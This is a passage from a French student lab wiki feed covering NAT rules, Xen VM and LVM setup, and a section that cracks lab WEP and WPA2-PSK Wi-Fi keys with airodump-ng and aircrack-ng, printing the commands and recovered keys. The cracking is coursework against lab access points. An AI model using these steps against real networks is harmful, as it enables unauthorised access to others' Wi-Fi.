* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
=== Autre amélioration très recommandée : préciser l’interface de sortie ===&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12391</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12391"/>
		<updated>2026-02-25T15:00:07Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Le problème */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
